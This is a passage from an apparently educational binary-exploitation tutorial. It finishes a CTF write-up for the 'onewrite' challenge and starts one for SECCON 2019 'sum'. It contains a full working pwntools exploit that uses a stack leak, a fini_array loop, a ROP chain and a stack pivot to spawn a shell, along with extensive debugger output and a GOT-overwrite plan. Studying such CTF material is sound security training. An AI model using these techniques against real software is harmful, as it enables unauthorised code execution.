0x00000000000084fa : pop rdi ; ret
$ python ROPgadget.py --binary onewrite | grep "pop rsi"
0x000000000000d9f2 : pop rsi ; ret
$ python ROPgadget.py --binary onewrite | grep "pop rdx"
0x00000000000484c5 : pop rdx ; ret
$ python ROPgadget.py --binary onewrite | grep "pop rax"
0x00000000000460ac : pop rax ; ret
$ python ROPgadget.py --binary onewrite | grep "syscall"
0x0000000000073baf : syscall
$ python ROPgadget.py --binary onewrite | grep "add rsp"

The add rsp gadget at the end we will cover later. However we can see that we have all of the gadgets we need to make an execve syscall from just using gadgets from the PIE section of memory. For writing the string /bin/sh\x00 we can just use the QWORD write loop to write that to memory. Looking through the memory, we find a place that might work to write /bin/sh in the bss:

gef➤  vmmap
Start              End                Offset             Perm Path
0x00007fd53eb27000 0x00007fd53ebd5000 0x0000000000000000 r-x /Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007fd53edd4000 0x00007fd53eddb000 0x00000000000ad000 rw- /Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007fd53eddb000 0x00007fd53eddc000 0x0000000000000000 rw-
0x00007fd53f879000 0x00007fd53f89c000 0x0000000000000000 rw- [heap]
0x00007ffee6f8d000 0x00007ffee6fae000 0x0000000000000000 rw- [stack]
0x00007ffee6fd6000 0x00007ffee6fd9000 0x0000000000000000 r-- [vvar]
0x00007ffee6fd9000 0x00007ffee6fda000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  info files
Symbols from "/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite".
Native process:
  Using the running image of attached process 8583.
  While running this, GDB does not access memory from...
Local exec file:
  `/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite', file type elf64-x86-64.
  Entry point: 0x88b0
  0x00007ffee6fd9120 - 0x00007ffee6fd915c is .hash in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd9160 - 0x00007ffee6fd91a8 is .gnu.hash in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd91a8 - 0x00007ffee6fd9298 is .dynsym in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd9298 - 0x00007ffee6fd92f6 is .dynstr in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd92f6 - 0x00007ffee6fd930a is .gnu.version in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd9310 - 0x00007ffee6fd9348 is .gnu.version_d in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd9348 - 0x00007ffee6fd9468 is .dynamic in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd9468 - 0x00007ffee6fd94bc is .note in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd94bc - 0x00007ffee6fd94f0 is .eh_frame_hdr in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd94f0 - 0x00007ffee6fd95e0 is .eh_frame in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd95e0 - 0x00007ffee6fd988a is .text in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd988a - 0x00007ffee6fd98e5 is .altinstructions in system-supplied DSO at 0x7ffee6fd9000
  0x00007ffee6fd98e5 - 0x00007ffee6fd98fb is .altinstr_replacement in system-supplied DSO at 0x7ffee6fd9000
  0x0000000000000200 - 0x0000000000000220 is .note.ABI-tag
  0x0000000000000220 - 0x000000000000023c is .gnu.hash
  0x0000000000000240 - 0x0000000000000258 is .dynsym
  0x0000000000000258 - 0x0000000000000259 is .dynstr
  0x0000000000000260 - 0x0000000000007e38 is .rela.dyn
  0x0000000000007e38 - 0x0000000000008060 is .rela.plt
  0x0000000000008060 - 0x0000000000008077 is .init
  0x0000000000008080 - 0x0000000000008280 is .plt
  0x0000000000008280 - 0x00000000000082e0 is .plt.got
  0x00000000000082e0 - 0x00000000000871a0 is .text
  0x00000000000871a0 - 0x0000000000087f6c is __libc_freeres_fn
  0x0000000000087f70 - 0x000000000008808b is __libc_thread_freeres_fn
  0x000000000008808c - 0x0000000000088095 is .fini
  0x00000000000880a0 - 0x00000000000a125c is .rodata
  0x00000000000a125c - 0x00000000000a2e98 is .eh_frame_hdr
  0x00000000000a2e98 - 0x00000000000ad3bc is .eh_frame
  0x00000000000ad3bc - 0x00000000000ad46b is .gcc_except_table
  0x00000000002adf80 - 0x00000000002adfa0 is .tdata
  0x00000000002adfa0 - 0x00000000002adfd0 is .tbss
  0x00000000002adfa0 - 0x00000000002adfb0 is .init_array
  0x00000000002adfb0 - 0x00000000002adfc0 is .fini_array
  0x00000000002adfc0 - 0x00000000002b0d54 is .data.rel.ro
  0x00000000002b0d58 - 0x00000000002b0ef8 is .dynamic
  0x00000000002b0ef8 - 0x00000000002b0ff0 is .got
  0x00000000002b1000 - 0x00000000002b1110 is .got.plt
  0x00000000002b1120 - 0x00000000002b2bf0 is .data
  0x00000000002b2bf0 - 0x00000000002b2c38 is __libc_subfreeres
  0x00000000002b2c40 - 0x00000000002b32e8 is __libc_IO_vtables
  0x00000000002b32e8 - 0x00000000002b32f0 is __libc_atexit
  0x00000000002b32f0 - 0x00000000002b32f8 is __libc_thread_subfreeres
  0x00000000002b3300 - 0x00000000002b49b8 is .bss
  0x00000000002b49b8 - 0x00000000002b49e0 is __libc_freeres_ptrs

So we can see that the bss starts at 0x00000000002b3300 + 0x00007fd53eb27000 = 0x7fd53edda300

0x7f8be09a60f0 - 0x7f8be0700a15 = 0x2a56db

gef➤  x/50g 0x7fd53edda300
0x7fd53edda300: 0x0 0x0
0x7fd53edda310: 0x0 0x0
0x7fd53edda320: 0x40  0x0
0x7fd53edda330: 0x0 0x0
0x7fd53edda340: 0x0 0x7fd53edd9320
0x7fd53edda350: 0x0 0x0
0x7fd53edda360: 0x0 0x0
0x7fd53edda370: 0x0 0x0
0x7fd53edda380: 0x0 0x0
0x7fd53edda390: 0x0 0x0
0x7fd53edda3a0: 0x0 0x0
0x7fd53edda3b0: 0x0 0x0
0x7fd53edda3c0: 0x0 0x0
0x7fd53edda3d0: 0x0 0x0
0x7fd53edda3e0: 0x0 0x0
0x7fd53edda3f0: 0x0 0x0
0x7fd53edda400: 0x0 0x0
0x7fd53edda410: 0x0 0x0
0x7fd53edda420: 0x0 0x0
0x7fd53edda430: 0x0 0x0
0x7fd53edda440: 0x0 0x0
0x7fd53edda450: 0x0 0x0
0x7fd53edda460: 0x0 0x0
0x7fd53edda470: 0x0 0x0
0x7fd53edda480: 0x0 0x0

So we can see there is a lot of blank space here for us to use. I choose 0x7fd53edda3b0 randomly. Calculating the offset from the leaked pie address, we see that the offset is 0x2aa99b.

Stack Pivot

The last thing we will need to know is where to store our rop chain. This will directly deal with our stack pivot.

The stack pivot attack here will work when do_overwrite returns. We can see that when a function returns (calls ret instruction), the rsp register (which points to the top of the stack) points to the instruction address which will be executed:

───────────────────────────────────────────────────────────────────── stack ────
0x00007ffce47b3838│+0x0000: 0x00007f8889c49ab2  →   nop    ← $rsp
0x00007ffce47b3840│+0x0008: 0x00007f8889c4a780  →   push r15
0x00007ffce47b3848│+0x0010: 0x00007f8889c49a15  →   sub rsp, 0x18
0x00007ffce47b3850│+0x0018: 0x0000000000000000
0x00007ffce47b3858│+0x0020: 0x00007f8889c49b04  →   call 0x7f8889c49a15  ← $rsi
0x00007ffce47b3860│+0x0028: 0x00007f8889c49060  →   sub rsp, 0x8
0x00007ffce47b3868│+0x0030: 0x00007f8889c4a089  →   mov edi, eax
0x00007ffce47b3870│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f8889c49a0a                  call   0x7f8889c870f0
   0x7f8889c49a0f                  nop    
   0x7f8889c49a10                  add    rsp, 0x18
 → 0x7f8889c49a14                  ret    
   ↳  0x7f8889c49ab2                  nop    
      0x7f8889c49ab3                  add    rsp, 0x18
      0x7f8889c49ab7                  ret    
      0x7f8889c49ab8                  sub    rsp, 0x8
      0x7f8889c49abc                  mov    rax, QWORD PTR [rip+0x2a8d25]        # 0x7f8889ef27e8
      0x7f8889c49ac3                  mov    ecx, 0x0
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f8889c49a14 → ret
[#1] 0x7f8889c49ab2 → nop
[#2] 0x7f8889c4a780 → push r15
[#3] 0x7f8889c49a15 → sub rsp, 0x18
────────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$1 = (void *) 0x7ffce47b3838
gef➤  x/g $rsp
0x7ffce47b3838: 0x7f8889c49ab2
gef➤  x/3i 0x7f8889c49ab2
   0x7f8889c49ab2:  nop
   0x7f8889c49ab3:  add    rsp,0x18
   0x7f8889c49ab7:  ret    

So how our stack pivot will work, we will add a value to the rsp register, which will shift where it returns. We will just shift it up so it starts executing our rop chain, which we can store further up the stack. To find the exact offset, we can just see where the stack pivot will pivot us to, and just store the rop chain at that offset. We can see how our gadget shifts it:

First we add 0xd0 to the rsp:

Breakpoint 1, 0x00007f3bdb37d6f3 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x8               
$rbx   : 0x1               
$rcx   : 0x0               
$rdx   : 0x8               
$rsp   : 0x00007ffd5f925f68  →  0x0000000000000001
$rbp   : 0x00007f3bdb61afb0  →  0x00007f3bdb3759c3  →   sub rsp, 0x18
$rsi   : 0x00007ffd5f925f60  →  0x00007f3bdb37d6f3  →   add rsp, 0xd0
$rdi   : 0x0               
$rip   : 0x00007f3bdb37d6f3  →   add rsp, 0xd0
$r8    : 0x00007f3bdd24e880  →  0x00007f3bdd24e880  →  [loop detected]
$r9    : 0x0               
$r10   : 0x00007f3bdb3fb840  →   add BYTE PTR [rax], al
$r11   : 0x0000000000000246
$r12   : 0x00007f3bdb61e140  →  0x00007f3bdb6208c0  →  0x0000000000000000
$r13   : 0x1               
$r14   : 0x00007f3bdb6208c0  →  0x0000000000000000
$r15   : 0x1               
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffd5f925f68│+0x0000: 0x0000000000000001   ← $rsp
0x00007ffd5f925f70│+0x0008: 0x0000000000000001
0x00007ffd5f925f78│+0x0010: 0x0000000000000008
0x00007ffd5f925f80│+0x0018: 0x0000000000000000
0x00007ffd5f925f88│+0x0020: 0xd4842db0baa9bc00
0x00007ffd5f925f90│+0x0028: 0x00007f3bdb375060  →   sub rsp, 0x8
0x00007ffd5f925f98│+0x0030: 0x00007f3bdb376090  →   cmp ebx, 0x68747541
0x00007ffd5f925fa0│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f3bdb37d6e6                  xor    rcx, QWORD PTR fs:0x28
   0x7f3bdb37d6ef                  mov    eax, edx
   0x7f3bdb37d6f1                  jne    0x7f3bdb37d6fc
 → 0x7f3bdb37d6f3                  add    rsp, 0xd0
   0x7f3bdb37d6fa                  pop    rbx
   0x7f3bdb37d6fb                  ret    
   0x7f3bdb37d6fc                  call   0x7f3bdb3b55d0
   0x7f3bdb37d701                  nop    DWORD PTR [rax+rax*1+0x0]
   0x7f3bdb37d706                  nop    WORD PTR cs:[rax+rax*1+0x0]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f3bdb37d6f3 → add rsp, 0xd0
────────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$1 = (void *) 0x7ffd5f925f68

We can see that it has been shifted up by 0xd0:

Breakpoint 2, 0x00007f3bdb37d6fa in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x8               
$rbx   : 0x1               
$rcx   : 0x0               
$rdx   : 0x8               
$rsp   : 0x00007ffd5f926038  →  0xdb5d522c6f2f9d53
$rbp   : 0x00007f3bdb61afb0  →  0x00007f3bdb3759c3  →   sub rsp, 0x18
$rsi   : 0x00007ffd5f925f60  →  0x00007f3bdb37d6f3  →   add rsp, 0xd0
$rdi   : 0x0               
$rip   : 0x00007f3bdb37d6fa  →   pop rbx
$r8    : 0x00007f3bdd24e880  →  0x00007f3bdd24e880  →  [loop detected]
$r9    : 0x0               
$r10   : 0x00007f3bdb3fb840  →   add BYTE PTR [rax], al
$r11   : 0x0000000000000246
$r12   : 0x00007f3bdb61e140  →  0x00007f3bdb6208c0  →  0x0000000000000000
$r13   : 0x1               
$r14   : 0x00007f3bdb6208c0  →  0x0000000000000000
$r15   : 0x1               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffd5f926038│+0x0000: 0xdb5d522c6f2f9d53   ← $rsp
0x00007ffd5f926040│+0x0008: 0x00007f3bdb3754fa  →   pop rdi
0x00007ffd5f926048│+0x0010: 0x00007f3bdb6203b0  →  0x0068732f6e69622f ("/bin/sh"?)
0x00007ffd5f926050│+0x0018: 0x00007f3bdb37a9f2  →   pop rsi
0x00007ffd5f926058│+0x0020: 0x0000000000000000
0x00007ffd5f926060│+0x0028: 0x00007f3bdb3b54c5  →   pop rdx
0x00007ffd5f926068│+0x0030: 0x0000000000000000
0x00007ffd5f926070│+0x0038: 0x00007f3bdb3b30ac  →   pop rax
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f3bdb37d6ec                  add    BYTE PTR [rax], al
   0x7f3bdb37d6ee                  add    BYTE PTR [rcx+0x480975d0], cl
   0x7f3bdb37d6f4                  add    esp, 0xd0
 → 0x7f3bdb37d6fa                  pop    rbx
   0x7f3bdb37d6fb                  ret    
   0x7f3bdb37d6fc                  call   0x7f3bdb3b55d0
   0x7f3bdb37d701                  nop    DWORD PTR [rax+rax*1+0x0]
   0x7f3bdb37d706                  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7f3bdb37d710                  push   rbp
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f3bdb37d6fa → pop rbx
────────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$2 = (void *) 0x7ffd5f926038

Lastly we can see that we popped rbx which will increment the stack pointer (stack grows down):

Breakpoint 3, 0x00007f3bdb37d6fb in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x8               
$rbx   : 0xdb5d522c6f2f9d53
$rcx   : 0x0               
$rdx   : 0x8               
$rsp   : 0x00007ffd5f926040  →  0x00007f3bdb3754fa  →   pop rdi
$rbp   : 0x00007f3bdb61afb0  →  0x00007f3bdb3759c3  →   sub rsp, 0x18
$rsi   : 0x00007ffd5f925f60  →  0x00007f3bdb37d6f3  →   add rsp, 0xd0
$rdi   : 0x0               
$rip   : 0x00007f3bdb37d6fb  →   ret
$r8    : 0x00007f3bdd24e880  →  0x00007f3bdd24e880  →  [loop detected]
$r9    : 0x0               
$r10   : 0x00007f3bdb3fb840  →   add BYTE PTR [rax], al
$r11   : 0x0000000000000246
$r12   : 0x00007f3bdb61e140  →  0x00007f3bdb6208c0  →  0x0000000000000000
$r13   : 0x1               
$r14   : 0x00007f3bdb6208c0  →  0x0000000000000000
$r15   : 0x1               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffd5f926040│+0x0000: 0x00007f3bdb3754fa  →   pop rdi  ← $rsp
0x00007ffd5f926048│+0x0008: 0x00007f3bdb6203b0  →  0x0068732f6e69622f ("/bin/sh"?)
0x00007ffd5f926050│+0x0010: 0x00007f3bdb37a9f2  →   pop rsi
0x00007ffd5f926058│+0x0018: 0x0000000000000000
0x00007ffd5f926060│+0x0020: 0x00007f3bdb3b54c5  →   pop rdx
0x00007ffd5f926068│+0x0028: 0x0000000000000000
0x00007ffd5f926070│+0x0030: 0x00007f3bdb3b30ac  →   pop rax
0x00007ffd5f926078│+0x0038: 0x000000000000003b (";"?)
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f3bdb37d6ee                  add    BYTE PTR [rcx+0x480975d0], cl
   0x7f3bdb37d6f4                  add    esp, 0xd0
   0x7f3bdb37d6fa                  pop    rbx
 → 0x7f3bdb37d6fb                  ret    
   ↳  0x7f3bdb3754fa                  pop    rdi
      0x7f3bdb3754fb                  ret    
      0x7f3bdb3754fc                  mov    rax, QWORD PTR [rip+0x2ab915]        # 0x7f3bdb620e18
      0x7f3bdb375503                  xor    esi, esi
      0x7f3bdb375505                  test   rax, rax
      0x7f3bdb375508                  jne    0x7f3bdb37547b
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f3bdb37d6fb → ret
[#1] 0x7f3bdb3754fa → pop rdi
[#2] 0x7f3bdb6203b0 → (bad)
[#3] 0x7f3bdb37a9f2 → pop rsi
────────────────────────────────────────────────────────────────────────────────
gef➤  x/4g $rsp
0x7ffd5f926040: 0x7f3bdb3754fa  0x7f3bdb6203b0
0x7ffd5f926050: 0x7f3bdb37a9f2  0x0
gef➤  x/2i 0x7f3bdb3754fa
   0x7f3bdb3754fa:  pop    rdi
   0x7f3bdb3754fb:  ret    

With that, we can see that rsp points to 0x7ffd5f926040 on the stack. For this iteration the stack leak was 0x7ffd5f925f70. So the offset from the stack leak to where we store the start of our ROP Chain is 0x7ffd5f926040 - 0x7ffd5f925f70 = 0xd0.

Exploit

Putting it all together, we have the following exploit:

# This exploit is based off of: https://github.com/EmpireCTF/empirectf/blob/master/writeups/2019-01-19-Insomni-Hack-Teaser/README.md#onewrite

from pwn import *


target = process('./onewrite')
elf = ELF('onewrite')
#gdb.attach(target, gdbscript='pie b *0x106f3')

# Establish helper functions
def leak(opt):
    target.recvuntil('>')
    target.sendline(str(opt))
    leak = target.recvline()
    leak = int(leak, 16)
    return leak

def write(adr, val, other = 0):
    target.recvuntil('address :')
    target.send(str(adr))
    target.recvuntil('data :')
    if other == 0:
        target.send(p64(val))
    else:
        target.send(val)

    

# First leak the Stack address, and calculate where the return address will be in do_overwrite
stackLeak = leak(1)
ripAdr = stackLeak + 0x18

# Calculate where the return address for __libc_csu_fini
csiRipAdr = stackLeak - 72

# Write over the return address in do_overwrite with do_leak
write(ripAdr, p8(0x04), 1)


# Leak the PIE address of do leak
doLeakAdr = leak(2)

# Calculate the base of PIE  
pieBase = doLeakAdr - elf.symbols['do_leak']

# Calculate the address of the _fini_arr table, and the __libc_csu_fini function using the PIE base
finiArrAdr = pieBase + elf.symbols['__do_global_dtors_aux_fini_array_entry']
csuFini = pieBase + elf.symbols["__libc_csu_fini"]

# Calculate the position of do_overwrite
doOverwrite = pieBase + elf.symbols['do_overwrite']

# Write over return address in do_overwrite with do_overwrite
write(ripAdr, p8(0x04), 1)
leak(1)

# Write over the two entries in _fini_arr table with do_overwrite, and restart the loop
write(finiArrAdr + 8, doOverwrite)
write(finiArrAdr, doOverwrite)
write(csiRipAdr, csuFini)

# Increment stack address of saved rip for __libc_csu_fini due to new iteration of loop
csiRipAdr += 8

# Establish rop gagdets, and "/bin/sh" address
popRdi = pieBase + 0x84fa
popRsi = pieBase + 0xd9f2
popRdx = pieBase + 0x484c5
popRax = pieBase + 0x460ac
syscall = pieBase + 0x917c
binshAdr = doLeakAdr + 0x2aa99b

# 0x00000000000106f3 : add rsp, 0xd0 ; pop rbx ; ret
pivotGadget = pieBase + 0x106f3

# Function which we will use to write Qwords using loop
def writeQword(adr, val):
    global csiRipAdr
    write(adr, val)
    write(csiRipAdr, csuFini)
    csiRipAdr += 8

# first wite "/bin/sh" to the designated place in memory
writeQword(binshAdr, u64("/bin/sh\x00"))

'''
Our ROP Chain will do this:
pop rdi ptr to "/bin/sh";   ret
pop rsi 0 ; ret
pop rdx 0 ; ret
pop rax 0x59 ; ret
syscall
'''

# write the ROP chain
writeQword(stackLeak + 0xd0, popRdi)
writeQword(stackLeak + 0xd8, binshAdr)
writeQword(stackLeak + 0xe0, popRsi)
writeQword(stackLeak + 0xe8, 0)
writeQword(stackLeak + 0xf0, popRdx)
writeQword(stackLeak + 0xf8, 0)
writeQword(stackLeak + 0x100, popRax)
writeQword(stackLeak + 0x108, 59)
writeQword(stackLeak + 0x110, syscall)


# write the ROP pivot gadget to the return address of do_overwrite, which will trigger the rop chain
write(stackLeak - 0x10, pivotGadget)

# drop to an interactive shell
target.interactive()

When we run it:

$ python exploit.py
[+] Starting local process './onewrite': pid 14815
[!] Did not find any GOT entries
[*] '/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
 $ w
 22:42:39 up  8:27,  1 user,  load average: 1.46, 1.54, 1.63
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               14:15   ?xdm?  39:17   0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
core  exploit.py  onewrite  readme.md

Just like that, we popped a shell!

Seccon 2019 Quals Sum

Let's take a look at the binary and libc:

$    file sum_ccafa40ee6a5a675341787636292bf3c84d17264
sum_ccafa40ee6a5a675341787636292bf3c84d17264: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=593a57775caa3028bd2ab72873bedaa36734cdb6, not stripped
$    pwn checksec sum_ccafa40ee6a5a675341787636292bf3c84d17264
[*] '/home/guyinatuxedo/Desktop/seccon/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./libc.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
1
5
0
6
$    ./sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
1
5
6
9
8
7
Segmentation fault (core dumped)

So we can see that it is a 64 bit elf, with a stack canary, and non-executable stack. The binary appears to add numbers together. We input the numbers one at a time, and a 0 will end the sequence. If we input 6 digits, it crashes. Let's take a look under the hood.

Reversing

When we take a look at the main function in ghidra, we see this:

undefined8 main(void)

{
  ulong uVar1;
  long in_FS_OFFSET;
  undefined8 ints;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  long *amnt;
  long local_18;
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  ints = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_18 = 0;
  amnt = &local_18;
  puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n");
  puts("[Example]\n2 3 4 0");
  read_ints((long)&ints,5);
  uVar1 = sum((long)&ints,amnt);
  if (5 < (int)uVar1) {
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  printf("%llu\n",local_18);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

When we look at the main function, we see that it first establishes an int array ints, that can hold 6 integers. The sixth integer in this array is amnt, which is a pointer to the next integer on the stack, local_18. First it prints out some text, then calls read_ints:

void read_ints(long ints,long amnt)

{
  int scanfCheck;
  long in_FS_OFFSET;
  long i;
  long stackCanary;
 
  stackCanary = *(long *)(in_FS_OFFSET + 0x28);
  i = 0;
  while (i <= amnt) {
    scanfCheck = __isoc99_scanf(&DAT_00400a68,ints + i * 8,i * 8);
    if (scanfCheck != 1) {
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    if (*(long *)(ints + i * 8) == 0) break;
    i = i + 1;
  }
  if (stackCanary == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

So here we can see it will scan in integers into the array passed by it's first argument, until it either gets a 0 or it scans in amnt + 1 integers. Under the context it is called, it will scan in a maximum of 6 integers into the ints array. Proceeding that it calls sum, with the arguments being the ints array and amnt:

ulong sum(long ints,long *x)

{
  long in_FS_OFFSET;
  uint i;
  long canary;
 
  canary = *(long *)(in_FS_OFFSET + 0x28);
  *x = 0;
  i = 0;
  while (*(long *)(ints + (long)(int)i * 8) != 0) {
    *x = *(long *)(ints + (long)(int)i * 8) + *x;
    i = i + 1;
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return (ulong)i;
}

So we can see that it adds up all of the values in ints, and stores them in x. In the context that it is called, it will add up the six (or less) values stored in ints, and store it in amnt. In addition to that, there is an integer overflow bug here, since it doesn't check if the values it is adding together will cause an overflow. Since we control amnt, we effectively have a write what where. The value returned is the number of numbers it added together. Looking at the rest of the main function, we see that if we gave it six numbers (thus causing the write what where bug), it will call exit. If not it will call printf and return from main.

Exploitation

So we have a write what where, with no relro or pie. The first problem is that right after our write, it will call exit. This can be solved by just overwriting the got address of exit (0x601048) with the start of main (0x400903). That way when it calls exit, it will just put us back at the start of main. This will give us a loop where we get multiple qword writes.

Now the next hurdle is getting a libc infoleak. At this point, one of my team-mates mksrg gave me the idea to do a stack pivot. When we take a look at the stack layout when printf is called (exit will also have this), we see something interesting:

gef➤  b *0x4009bf
Breakpoint 1 at 0x4009bf
gef➤  r
Starting program: /home/guyinatuxedo/Desktop/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
159
357
951
753
0
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x0               
$rdx   : 0x20              
$rsp   : 0x00007fffffffdee0  →  0x000000000000009f
$rbp   : 0x00007fffffffdf20  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15
$rsi   : 0x8ac             
$rdi   : 0x0000000000400ad5  →  0x0100000a756c6c25 ("%llu"?)
$rip   : 0x00000000004009bf  →  <main+188> call 0x400620 <printf@plt>
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x00007ffff7b82cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe000  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdee0│+0x0000: 0x000000000000009f     ← $rsp
0x00007fffffffdee8│+0x0008: 0x0000000000000165
0x00007fffffffdef0│+0x0010: 0x00000000000003b7
0x00007fffffffdef8│+0x0018: 0x00000000000002f1
0x00007fffffffdf00│+0x0020: 0x0000000000000000
0x00007fffffffdf08│+0x0028: 0x00007fffffffdf10  →  0x00000000000008ac
0x00007fffffffdf10│+0x0030: 0x00000000000008ac
0x00007fffffffdf18│+0x0038: 0x571694db34020d00
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4009af <main+172>       lock   mov rsi, rax
     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5
     0x4009ba <main+183>       mov    eax, 0x0
 →   0x4009bf <main+188>       call   0x400620 <printf@plt>
   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        # 0x601028
        0x400626 <printf@plt+6>   push   0x2
        0x40062b <printf@plt+11>  jmp    0x4005f0
        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        # 0x601030
        0x400636 <alarm@plt+6>    push   0x3
        0x40063b <alarm@plt+11>   jmp    0x4005f0
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
   $rsi = 0x00000000000008ac,
   $rdx = 0x0000000000000020,
   $rcx = 0x0000000000000000
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
